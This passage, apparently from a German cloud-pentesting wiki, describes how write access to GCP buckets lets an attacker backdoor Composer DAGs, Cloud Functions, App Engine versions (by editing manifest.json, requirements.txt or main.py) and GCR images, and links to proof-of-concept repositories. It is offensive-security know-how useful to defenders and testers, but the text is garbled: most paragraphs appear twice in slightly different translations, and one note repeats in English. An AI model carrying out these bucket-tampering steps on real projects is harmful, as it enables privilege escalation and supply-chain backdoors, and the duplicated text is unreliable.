- Alle Komponenten einer Composer-Umgebung (**Code der DAGs**, Plugins und Daten) werden in einem GCP-Bucket gespeichert. Wenn ein Angreifer Lese- und Schreibrechte darauf hat, kann er den Bucket überwachen und **immer wenn ein DAG erstellt oder aktualisiert wird, eine backdoored Version einreichen**, sodass die Composer-Umgebung die backdoored Version aus dem Storage erhält.
Einen PoC dieses Angriffs findest du im Repo: [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
- Der Code von Cloud Functions wird in Storage gespeichert und wann immer eine neue Version erstellt wird, wird der Code in den Bucket gepusht und daraus der neue Container gebaut. Daher ist es möglich, durch das Überschreiben des Codes, bevor die neue Version gebaut wird, die Cloud Function dazu zu bringen, arbitrary code auszuführen.
- Der Code von Cloud Functions wird in Storage gespeichert und wann immer eine neue Version erstellt wird, wird der Code in den Bucket gepusht und anschließend der neue Container aus diesem Code gebaut. Daher ist es möglich, durch **Überschreiben des Codes bevor die neue Version gebaut wird**, die Cloud Function beliebigen Code ausführen zu lassen.
Einen PoC dieses Angriffs findest du im Repo: [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
AppEngine-Versionen erzeugen einige Daten in einem Bucket mit dem Format: `staging.<project-id>.appspot.com`. In diesem Bucket findet man einen Ordner namens `ae`, der pro Version der AppEngine-App einen Unterordner enthält; in diesen Ordnern ist die Datei `manifest.json` zu finden. Diese Datei enthält ein JSON mit allen Dateien, die zur Erstellung der jeweiligen Version verwendet werden müssen. Außerdem sind dort die **echten Namen der Dateien, die URL zu ihnen innerhalb des GCP-Buckets (die Dateien im Bucket haben ihren Namen durch ihren sha1-Hash ersetzt) und der sha1-Hash jeder Datei** aufgeführt.
AppEngine-Versionen erzeugen Daten in einem Bucket mit dem Format: `staging.<project-id>.appspot.com`. In diesem Bucket findet man einen Ordner namens `ae`, der einen Ordner pro AppEngine-Version enthält; in diesen Ordnern findet sich die `manifest.json`. Diese Datei enthält ein json mit allen Dateien, die verwendet werden müssen, um die spezifische Version zu erstellen. Außerdem kann man die **echten Dateinamen, die URL zu ihnen innerhalb des GCP-Buckets (die Dateien im Bucket wurden nach ihrem sha1 hash umbenannt) und den sha1 hash jeder Datei** finden.
_Hinweis: Es ist nicht möglich, diesen Bucket im Vorfeld zu übernehmen, weil GCP-Benutzer nicht berechtigt sind, Buckets mit der Domain appspot.com zu erstellen._
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
Mit Lese- und Schreibzugriff auf diesen Bucket ist es jedoch möglich, auf die SA zu eskalieren, die an die App Engine-Version angehängt ist, indem man den Bucket überwacht und jedes Mal, wenn eine Änderung vorgenommen wird (neue Version), die neue Version so schnell wie möglich verändert. Auf diese Weise wird der Container, der aus diesem Code erstellt wird, den backdoored Code ausführen.
Mit Lese- und Schreibzugriff auf diesen Bucket ist es jedoch möglich, Privilegien auf das an die App Engine-Version gebundene SA zu eskalieren, indem man den Bucket überwacht und bei jeder Änderung (neue Version) die neue Version so schnell wie möglich verändert. Auf diese Weise wird der Container, der aus diesem Code erstellt wird, den backdoored Code ausführen.
Der beschriebene Angriff kann auf verschiedene Arten durchgeführt werden; alle beginnen mit der Überwachung des Buckets `staging.<project-id>.appspot.com`:
Der erwähnte Angriff kann auf viele unterschiedliche Weisen ausgeführt werden; alle beginnen mit der Überwachung des Buckets `staging.<project-id>.appspot.com`:
- Lade den kompletten neuen Code der AppEngine-Version in einen anderen verfügbaren Bucket hoch und erstelle eine **`manifest.json`-Datei mit dem neuen Bucket-Namen und den sha1-Hashes** der Dateien. Wenn dann eine neue Version im Bucket erstellt wird, musst du nur die `manifest.json`-Datei modifizieren und die bösartige Version hochladen.
- Lade eine modifizierte `requirements.txt`-Version hoch, die die **bösartigen Abhängigkeiten** verwendet, und aktualisiere die `manifest.json`-Datei mit dem neuen Dateinamen, der URL und dem Hash.
- Lade eine **modifizierte `main.py` oder `app.yaml`-Datei hoch, die den bösartigen Code ausführt**, und aktualisiere die `manifest.json`-Datei mit dem neuen Dateinamen, der URL und dem Hash.
- Lade den kompletten neuen Code der AppEngine-Version in einen anderen verfügbaren Bucket hoch und erstelle eine **`manifest.json`-Datei mit dem neuen Bucketnamen und den sha1-Hashes der Dateien**. Wenn dann eine neue Version im Bucket erstellt wird, musst du nur die `manifest.json`-Datei ändern und die bösartige hochladen.
- Lade eine modifizierte `requirements.txt`-Version hoch, die den **malicious dependencies code** verwendet, und aktualisiere die `manifest.json`-Datei mit dem neuen Dateinamen, der URL und dem Hash.
- Lade eine **modifizierte `main.py`- oder `app.yaml`-Datei hoch, die den malicious code ausführt**, und aktualisiere die `manifest.json`-Datei mit dem neuen Dateinamen, der URL und dem Hash.
Einen PoC dieses Angriffs findest du im Repo: [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
- **Google Container Registry** speichert die Images in Buckets; wenn du in diese Buckets **schreiben** kannst, könntest du dich lateral bewegen zu den Orten, an denen diese Buckets ausgeführt werden.
- Der von GCR verwendete Bucket hat eine URL ähnlich zu `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Die Top-Level-Subdomains sind [hier](https://cloud.google.com/container-registry/docs/pushing-and-pulling) angegeben).
- **Google Container Registry** speichert die Images in Buckets. Wenn du in diese Buckets **schreiben** kannst, könntest du möglicherweise **move laterally to where those buckets are being run.**
- Der von GCR verwendete Bucket hat eine URL ähnlich `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (Die Top-Level-Subdomains sind [hier](https://cloud.google.com/container-registry/docs/pushing-and-pulling) angegeben).
> [!TIP]
> Dieser Service ist deprecated, daher ist dieser Angriff nicht mehr nützlich. Außerdem speichert Artifact Registry, der ersetzende Service, die Images nicht in Buckets.
> Dieser Dienst ist veraltet, daher ist dieser Angriff nicht mehr nützlich. Außerdem speichert Artifact Registry, der Dienst, der diesen ersetzt, die Images nicht in Buckets.
## **Referenzen**